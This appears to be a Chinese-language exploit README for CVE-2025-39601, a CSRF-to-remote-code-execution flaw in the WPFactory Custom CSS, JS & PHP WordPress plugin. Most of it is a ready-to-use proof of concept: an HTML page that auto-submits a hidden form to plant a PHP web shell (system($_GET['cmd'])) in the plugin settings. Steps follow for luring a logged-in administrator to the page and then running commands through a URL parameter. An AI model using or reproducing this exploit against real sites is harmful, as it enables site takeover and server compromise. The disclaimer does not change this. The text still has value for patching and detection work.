🚨 CVE-2025-39601 - WordPress Custom CSS, JS & PHP 插件 <= 2.4.1 中的 CSRF 到 RCE 漏洞

🧠 描述

WPFactory Custom CSS, JS & PHP 插件中存在一个跨站请求伪造 (CSRF) 漏洞，允许通过未授权的 POST 请求注入恶意 PHP 代码，从而实现远程代码执行 (RCE)。
此漏洞影响所有版本 2.4.1 及以下。

CVE ID: CVE-2025-39601
发布时间: 2025-04-16
更新日期: 2025-04-16
严重程度: 🔥 9.6 (严重)
CWE: CWE-352 - 跨站请求伪造
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🖼️ 视觉证明

以下截图展示了成功利用的结果，演示了如何通过 URL 参数执行远程代码：

Nxploited

💥 概念验证 (PoC)

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability</title>
</head>
<body onload="document.forms[0].submit()">
    <h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1</h1>
    <p>By : Nxploited | Khaled Alenazi</p>
    <form action="http://192.168.100.74:888/wordpress4/wp-admin/tools.php?page=alg-custom-php" method="POST">
        <input type="hidden" name="alg_custom_css_php_enabled" value="1">
        <input type="hidden" name="alg_custom_css_php_execute" value="plugins_loaded">
        <input type="hidden" name="alg_custom_css_php" value="<?php system($_GET['cmd']); ?>">
        <input type="hidden" name="alg_ccjp_submit" value="php">
        <noscript><input type="submit" value="Submit"></noscript>
    </form>
</body>
</html>

🧪 使用说明

将上述 HTML 文件托管在任何外部服务器或本地环境中。
在管理员用户已登录的状态下，让该管理员在浏览器中访问托管的 HTML 文件。
这将静默提交表单，并将 PHP 代码注入插件设置中。
随后，该代码会通过 plugins_loaded 钩子在每次页面加载时自动执行。
执行示例：
```
http://target-site.com/?cmd=whoami
```

⚠️ 免责声明

此 PoC 仅用于教育目的。
作者对不当使用此信息所造成的任何滥用或损害概不负责。
请始终在受控环境中并获得授权后再进行测试。

作者: Nxploited | Khaled Alenazi

CVE-2025-39601